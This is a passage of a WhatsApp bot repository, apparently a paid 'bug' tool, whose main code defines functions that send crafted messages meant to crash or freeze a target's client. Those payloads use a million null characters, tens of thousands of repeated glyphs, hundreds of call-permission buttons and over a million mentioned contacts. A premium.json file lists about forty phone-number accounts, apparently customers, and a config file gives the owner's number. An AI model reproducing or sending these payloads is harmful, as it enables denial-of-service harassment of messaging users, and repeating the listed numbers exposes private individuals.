13 | paramsJson: `{\"screen_2_OptIn_0\":true,\"screen_2_OptIn_1\":true,\"screen_1_Dropdown_0\":\"TrashDex Superior\",\"screen_1_DatePicker_1\":\"1028995200000\",\"screen_1_TextInput_2\":\"devorsixcore@trash.lol\",\"screen_1_TextInput_3\":\"94643116\",\"screen_0_TextInput_0\":\"radio - buttons${"\u0000".repeat(1020000)}\",\"screen_0_TextInput_1\":\"Anjay\",\"screen_0_Dropdown_2\":\"001-Grimgar\",\"screen_0_RadioButtonsGroup_3\":\"0_true\",\"flow_token\":\"AQAAAAACS5FpgQ_cAAAAAE0QI3s.\"}`,
14 | version: 3
15 | }
16 | }
17 | }
18 | }
19 | }, { participant: { jid: target } });
20 | }
21 |
22 | async function newcall(target) {
23 | let virtex = "RxԋL OϝϝιƈιαL 😼";
24 | await anggazyy.relayMessage(target, {
25 | viewOnceMessage: {
26 | message: {
27 | interactiveMessage: {
28 | header: {
29 | documentMessage: {
30 | url: 'https://mmg.whatsapp.net/v/t62.7119-24/30578306_700217212288855_4052360710634218370_n.enc?ccb=11-4&oh=01_Q5AaIOiF3XM9mua8OOS1yo77fFbI23Q8idCEzultKzKuLyZy&oe=66E74944&_nc_sid=5e03e0&mms3=true',
31 | mimetype: 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
32 | fileSha256: "ld5gnmaib+1mBCWrcNmekjB4fHhyjAPOHJ+UMD3uy4k=",
33 | fileLength: "999999999",
34 | pageCount: 0x9184e729fff,
35 | mediaKey: "5c/W3BCWjPMFAUUxTSYtYPLWZGWuBV13mWOgQwNdFcg=",
36 | fileName: virtex,
37 | fileEncSha256: "pznYBS1N6gr9RZ66Fx7L3AyLIU2RY5LHCKhxXerJnwQ=",
38 | directPath: '/v/t62.7119-24/30578306_700217212288855_4052360710634218370_n.enc?ccb=11-4&oh=01_Q5AaIOiF3XM9mua8OOS1yo77fFbI23Q8idCEzultKzKuLyZy&oe=66E74944&_nc_sid=5e03e0',
39 | mediaKeyTimestamp: "1715880173",
40 | contactVcard: true
41 | },
42 | title: virtex,
43 | hasMediaAttachment: true
44 | },
45 | body: {
46 | text: virtex
47 | },
48 | nativeFlowMessage: {
49 | buttons: [
50 | {
51 | name: 'call_permission_request',
52 | buttonParamsJson: '{}'
53 | },
54 | {
55 | name: 'cta_url',
56 | buttonParamsJson: "{ display_text : 'RXHL MODS WHATSAPP', url : '', merchant_url : '' }"
57 | }
58 | ]
59 | }
60 | }
61 | }
62 | }
63 | }, { participant: { jid: target } }, { messageId: null });
64 | }
65 |
66 | async function newcall2(target) {
67 | let virtex = "RxԋL OϝϝιƈιαL 😼" + "𑜦".repeat(40000);
68 |
69 | await anggazyy.relayMessage(target, {
70 | viewOnceMessage: {
71 | message: {
72 | interactiveMessage: {
73 | header: {
74 | documentMessage: {
75 | url: 'https://mmg.whatsapp.net/v/t62.7119-24/30578306_700217212288855_4052360710634218370_n.enc?ccb=11-4&oh=01_Q5AaIOiF3XM9mua8OOS1yo77fFbI23Q8idCEzultKzKuLyZy&oe=66E74944&_nc_sid=5e03e0&mms3=true',
76 | mimetype: 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
77 | fileSha256: "ld5gnmaib+1mBCWrcNmekjB4fHhyjAPOHJ+UMD3uy4k=",
78 | fileLength: "999999999",
79 | pageCount: 0x9184e729fff,
80 | mediaKey: "5c/W3BCWjPMFAUUxTSYtYPLWZGWuBV13mWOgQwNdFcg=",
81 | fileName: virtex,
82 | fileEncSha256: "pznYBS1N6gr9RZ66Fx7L3AyLIU2RY5LHCKhxXerJnwQ=",
83 | directPath: '/v/t62.7119-24/30578306_700217212288855_4052360710634218370_n.enc?ccb=11-4&oh=01_Q5AaIOiF3XM9mua8OOS1yo77fFbI23Q8idCEzultKzKuLyZy&oe=66E74944&_nc_sid=5e03e0',
84 | mediaKeyTimestamp: "1715880173",
85 | contactVcard: true
86 | },
87 | title: virtex,
88 | hasMediaAttachment: true
89 | },
90 | body: {
91 | text: ""
92 | },
93 | nativeFlowMessage: {
94 | buttons: Array(20).fill({
95 | name: 'call_permission_request',
96 | buttonParamsJson: '{}'
97 | })
98 | }
99 | }
100 | }
101 | }
102 | }, { participant: { jid: target } }, { messageId: null });
103 | }
104 |
105 | async function newcall3(target) {
106 | let virtex = "RxԋL OϝϝιƈιαL 😼";
107 | let buttons = Array.from({ length: 200 }, () => ({
108 | name: 'call_permission_request',
109 | buttonParamsJson: '{}'
110 | }));
111 | let overJids = Array.from({ length: 1039900 }, () => target);
112 |
113 | await anggazyy.relayMessage(target, {
114 | viewOnceMessage: {
115 | message: {
116 | interactiveMessage: {
117 | header: {
118 | documentMessage: {
119 | url: 'https://mmg.whatsapp.net/v/t62.7119-24/30578306_700217212288855_4052360710634218370_n.enc?ccb=11-4&oh=01_Q5AaIOiF3XM9mua8OOS1yo77fFbI23Q8idCEzultKzKuLyZy&oe=66E74944&_nc_sid=5e03e0&mms3=true',
120 | mimetype: 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
121 | fileSha256: "ld5gnmaib+1mBCWrcNmekjB4fHhyjAPOHJ+UMD3uy4k=",
122 | fileLength: "999999999",
123 | pageCount: 0x9184e729fff,
124 | mediaKey: "5c/W3BCWjPMFAUUxTSYtYPLWZGWuBV13mWOgQwNdFcg=",
125 | fileName: virtex,
126 | fileEncSha256: "pznYBS1N6gr9RZ66Fx7L3AyLIU2RY5LHCKhxXerJnwQ=",
127 | directPath: '/v/t62.7119-24/30578306_700217212288855_4052360710634218370_n.enc?ccb=11-4&oh=01_Q5AaIOiF3XM9mua8OOS1yo77fFbI23Q8idCEzultKzKuLyZy&oe=66E74944&_nc_sid=5e03e0',
128 | mediaKeyTimestamp: "1715880173",
129 | contactVcard: true
130 | },
131 | title: virtex,
132 | hasMediaAttachment: true
133 | },
134 | body: {
135 | text: virtex
136 | },
137 | nativeFlowMessage: {
138 | buttons: buttons
139 | }
140 | }
141 | }
142 | },
143 | contextInfo: {
144 | mentionedJid: overJids,
145 | externalAdReply: {
146 | showAdAttribution: true,
147 | renderLargerThumbnail: false,
148 | title: `# RxhL`,
149 | body: `—??`,
150 | previewType: "VIDEO",
151 | thumbnail: "",
152 | sourceUrl: "https://youtube.com/@anggazyyofc",
153 | mediaUrl: "https://youtube.com/@anggazyyofc"
154 | }
155 | }
156 | }, { participant: { jid: target } }, { messageId: null });
157 | }
158 |
159 | async function newcall4(target) {
160 | let virtex = "RxԋL OϝϝιƈιαL 😼";
161 | await anggazyy.relayMessage(target, {
162 | viewOnceMessage: {
163 | message: {
164 | interactiveMessage: {
165 | header: {
166 | documentMessage: {
167 | url: 'https://mmg.whatsapp.net/v/t62.7119-24/30578306_700217212288855_4052360710634218370_n.enc?ccb=11-4&oh=01_Q5AaIOiF3XM9mua8OOS1yo77fFbI23Q8idCEzultKzKuLyZy&oe=66E74944&_nc_sid=5e03e0&mms3=true',
168 | mimetype: 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
169 | fileSha256: "ld5gnmaib+1mBCWrcNmekjB4fHhyjAPOHJ+UMD3uy4k=",
170 | fileLength: "999999999",
171 | pageCount: 0x9184e729fff,
172 | mediaKey: "5c/W3BCWjPMFAUUxTSYtYPLWZGWuBV13mWOgQwNdFcg=",
173 | fileName: virtex,
174 | fileEncSha256: "pznYBS1N6gr9RZ66Fx7L3AyLIU2RY5LHCKhxXerJnwQ=",
175 | directPath: '/v/t62.7119-24/30578306_700217212288855_4052360710634218370_n.enc?ccb=11-4&oh=01_Q5AaIOiF3XM9mua8OOS1yo77fFbI23Q8idCEzultKzKuLyZy&oe=66E74944&_nc_sid=5e03e0',
176 | mediaKeyTimestamp: "1715880173",
177 | contactVcard: true
178 | },
179 | hasMediaAttachment: true
180 | },
181 | body: {
182 | text: virtex
183 | },
184 | nativeFlowMessage: {
185 | buttons: [
186 | {
187 | name: 'call_permission_request',
188 | buttonParamsJson: '{}'
189 | },
190 | {
191 | name: 'payment_method',
192 | buttonParamsJson: "{}"
193 | },
194 | {
195 | name: "single_select",
196 | buttonParamsJson: `{"title":"RxhL OfficiaL ◄${"᬴".repeat(60000)}","sections":[{"title":"# RxhL OfficiaL","rows":[]}]}`
197 | },
198 | {
199 | name: "galaxy_message",
200 | buttonParamsJson: `{\"flow_action\":\"navigate\",\"flow_action_payload\":{\"screen\":\"WELCOME_SCREEN\"},\"flow_cta\":\":)\",\"flow_id\":\"RxhL OfficiaL\",\"flow_message_version\":\"9\",\"flow_token\":\"MYPENISMYPENISMYPENIS\"}`
201 | },
202 | {
203 | name: "mpm",
204 | buttonParamsJson: "{}"
205 | }
206 | ],
207 | messageParamsJson: "{\"name\":\"galaxy_message\",\"title\":\"oi\",\"header\":\" # RxhL OfficiaL \",\"body\":\"xxx\"}"
208 | }
209 | }
210 | }
211 | }
212 | }, { participant: { jid: target } }, { messageId: null });
213 | }
214 |
215 | async function newvirpen(target) {
216 | let virtex = "RxhL OfficiaL" + "ꦾ".repeat(50000);
217 |
218 | let mentionedJidArray = Array.from({ length: 35000 }, () =>
219 | "1" + Math.floor(Math.random() * 500000) + "@s.whatsapp.net"
220 | );
221 |
222 | let message = {
223 | groupMentionedMessage: {
224 | message: {
225 | listResponseMessage: {
226 | title: " @120363326274964194@g.us",
227 | listType: "SINGLE_SELECT",
228 | singleSelectReply: {
229 | selectedRowId: "RxhL OfficiaL"
230 | },
231 | description: " @120363326274964194@g.us",
232 | contextInfo: {
233 | mentionedJid: mentionedJidArray,
234 | groupMentions: [{
235 | groupJid: "120363326274964194@g.us",
236 | groupSubject: virtex
237 | }]
238 | }
239 | }
240 | }
241 | }
242 | };
243 |
244 | await anggazyy.relayMessage(target, message, { participant: { jid: target } }, { messageId: null });
245 | }
246 |
247 | async function newfreezebug(target) {
248 | let virtex = "RxԋL OϝϝιƈιαL 😼";
249 |
250 | await anggazyy.relayMessage(target, {
251 | groupMentionedMessage: {
252 | message: {
253 | interactiveMessage: {
254 | header: {
255 | locationMessage: {
256 | degreesLatitude: 0,
257 | degreesLongitude: 0
258 | },
259 | hasMediaAttachment: true
260 | },
261 | body: {
262 | text: "ṚẍḧḶ ÖḟḟïċïäḶ ☠️" + "@1".repeat(300000)
263 | },
264 | nativeFlowMessage: {},
265 | contextInfo: {
266 | mentionedJid: Array.from({ length: 5 }, () => "1@newsletter"),
267 | groupMentions: [{ groupJid: "1@newsletter", groupSubject: "RxhL" }]
268 | }
269 | }
270 | }
271 | }
272 | }, { participant: { jid: target } }, { messageId: null });
273 | }
274 |
275 | async function newbuggrup(target) {
276 | let bugquoted = {
277 | key: {
278 | fromMe: false,
279 | participant: '0@s.whatsapp.net',
280 | remoteJid: 'status@broadcast'
281 | },
282 | message: {
283 | documentMessage: {
284 | contactVcard: true
285 | }
286 | }
287 | };
288 |
289 | await anggazyy.sendMessage(target, { text: "By RxhL OfficiaL" }, { quoted: bugquoted });
290 | }
291 |
--------------------------------------------------------------------------------
/serverside/system/lowdb/index.d.ts:
--------------------------------------------------------------------------------
1 | export * from './adapters/JSONFile.js';
2 | export * from './adapters/JSONFileSync.js';
3 | export * from './adapters/LocalStorage.js';
4 | export * from './adapters/Memory.js';
5 | export * from './adapters/MemorySync.js';
6 | export * from './adapters/TextFile.js';
7 | export * from './adapters/TextFileSync.js';
8 | export * from './Low.js';
9 | export * from './LowSync.js';
10 |
--------------------------------------------------------------------------------
/serverside/system/lowdb/index.js:
--------------------------------------------------------------------------------
1 | module.exports = {
2 | ...require('./adapters/JSONFile.js'),
3 | ...require('./adapters/JSONFileSync.js'),
4 | ...require('./adapters/LocalStorage.js'),
5 | ...require('./adapters/Memory.js'),
6 | ...require('./adapters/MemorySync.js'),
7 | ...require('./adapters/TextFile.js'),
8 | ...require('./adapters/TextFileSync.js'),
9 | ...require('./Low.js'),
10 | ...require('./LowSync.js'),
11 | }
--------------------------------------------------------------------------------
/serverside/system/premium.json:
--------------------------------------------------------------------------------
1 | [{"id":"6288804148639@s.whatsapp.net","expired":1728204994409},{"id":"628565394116@s.whatsapp.net","expired":1728211223620},{"id":"6285373175214@s.whatsapp.net","expired":1728211288423},{"id":"6285370478926@s.whatsapp.net","expired":1728211300595},{"id":"62895405768600@s.whatsapp.net","expired":1728211311430},{"id":"6282322336439@s.whatsapp.net","expired":1728211329338},{"id":"6288214852485@s.whatsapp.net","expired":1728211335993},{"id":"62881022753094@s.whatsapp.net","expired":1728211342686},{"id":"6282261256563@s.whatsapp.net","expired":1728211350712},{"id":"62895405768600@s.whatsapp.net","expired":1728211379600},{"id":"62895405768600@s.whatsapp.net","expired":1728211454222},{"id":"6285819183072@s.whatsapp.net","expired":1728211454222},{"id":"6282297852361@s.whatsapp.net","expired":1728211710585},{"id":"6285817856153@s.whatsapp.net","expired":1728211768505},{"id":"628154070430@s.whatsapp.net","expired":1728211788691},{"id":"6285755474465@s.whatsapp.net","expired":1728218167219},{"id":"6285962823375@s.whatsapp.net","expired":1728218176006},{"id":"6289505176431@s.whatsapp.net","expired":1729258445993},{"id":"6282346170378@s.whatsapp.net","expired":1729430281057},{"id":"6283849947860@s.whatsapp.net","expired":1729430293127},{"id":"62881022644772@s.whatsapp.net","expired":1729430307856},{"id":"6282217977836@s.whatsapp.net","expired":1729468052589},{"id":"6283845460283@s.whatsapp.net","expired":1729494282891},{"id":"6281937707120@s.whatsapp.net","expired":1729526611400},{"id":"6285640158496@s.whatsapp.net","expired":1729568664837},{"id":"6282277215954@s.whatsapp.net","expired":1729568676549},{"id":"6285655649546@s.whatsapp.net","expired":1729568764292},{"id":"62895401475389@s.whatsapp.net","expired":1729573856792},{"id":"6283187612449@s.whatsapp.net","expired":1729573893787},{"id":"6285763265679@s.whatsapp.net","expired":1729574702062},{"id":"6283842156192@s.whatsapp.net","expired":1729597649902},{"id":"6285751745563@s.whatsapp.net","expired":1729601472668},{"id":"6281291111111@s.whatsapp.net","expired":1729604433993},{"id":"6285947375756@s.whatsapp.net","expired":1729675835061},{"id":"6281289288610@s.whatsapp.net","expired":1729675846362},{"id":"6281228948951@s.whatsapp.net","expired":1729677084807},{"id":"6281268632107@s.whatsapp.net","expired":1729738496780},{"id":"6285212126721@s.whatsapp.net","expired":1729779020273},{"id":"6282120158690@s.whatsapp.net","expired":1729779040436},{"id":"6281388691442@s.whatsapp.net","expired":1729780643577}]
--------------------------------------------------------------------------------
/settings/cfg.js:
--------------------------------------------------------------------------------
1 | /*
2 |
3 | * Simple base bot whatsapp
4 | * Created by Anggazyy ZcoderX
5 | * Support by ChatGPT Assistant
6 | * Jangan delete credit ya ^^
7 |
8 | Contact Support:
9 | 📞 Whatsapp : wa.me/6288804148639
10 | ☎ Telegram : t.me/anggazyydev
11 |
12 | */
13 |
14 | global.owner = [
15 | "6288804148639", //ganti nomor owner
16 | "" //nomor owner kedua kalo ada
17 | ]
18 | global.nomorbot = '62xxx'
19 | global.urlfoto = 'https://'
20 |
21 | let fs = require('fs')
22 | let file = require.resolve(__filename)
23 | fs.watchFile(file, () => {
24 | fs.unwatchFile(file)
25 | console.log(`Update ${__filename}`)
26 | delete require.cache[file]
27 | require(file)
28 | })
--------------------------------------------------------------------------------